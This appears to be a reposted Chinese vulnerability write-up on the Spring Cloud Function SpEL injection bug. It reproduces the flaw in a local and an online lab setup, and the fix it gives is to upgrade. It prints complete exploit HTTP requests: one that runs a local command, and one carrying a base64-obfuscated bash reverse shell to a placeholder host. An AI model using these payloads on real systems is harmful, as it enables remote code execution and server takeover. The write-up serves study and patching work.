本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
关于无问社区
无问社区致力于打造一个面向于网络安全从业人员的技术综合服务社区,可免费获取安全技术资料,社区可提供的技术资料覆盖全网,辅助学习的功能丰富。
特色功能:划词解析、调取同类技术资料、AI助手全网智能检索、基于推荐算法,为每一位用户量身定制专属技术资料。
无问社区-官网:http://wwlib.cn
无问社区站内阅读链接:
http://www.wwlib.cn/index.php/artread/artid/5175.html
一、漏洞成因
Spring Cloud官方发布了一则安全公告,修复了一个Spring Cloud Function中的SPEL表达式注入漏洞。
该漏洞是由于SpringCloudFunction中RoutingFunction类的apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表达式进行处理,攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。
影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
二、漏洞复现
1、本地搭建
利用编译好的环境进行本地复现,下载地址:https://github.com/Pizz33/Spring-Cloud-Function-SpEL
POC:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
2、 在线环境反弹shell
vulfocus在线环境反弹shell:http://vulfocus.io/
反弹Shell POC
POST /functionRouter HTTP/1.1
Host: 123.58.236.76:64443
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("bash -c
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|
{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 8
test
vps上进行端口监听
执行POC后,vps上收到了弹回的shell
三、修复方案
升级安全版本
点击参与转发福利
无问社区 - 迎中秋送好礼(b站大会员,骨传导耳机,社区奖励金)
加入粉丝群可在公众号页面联系我们进群
点“阅读原文”,访问无问社区
原文始发于微信公众号(白帽子社区团队):经典漏洞Spring Cloud Function SPEL表达式注入(文末活动)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论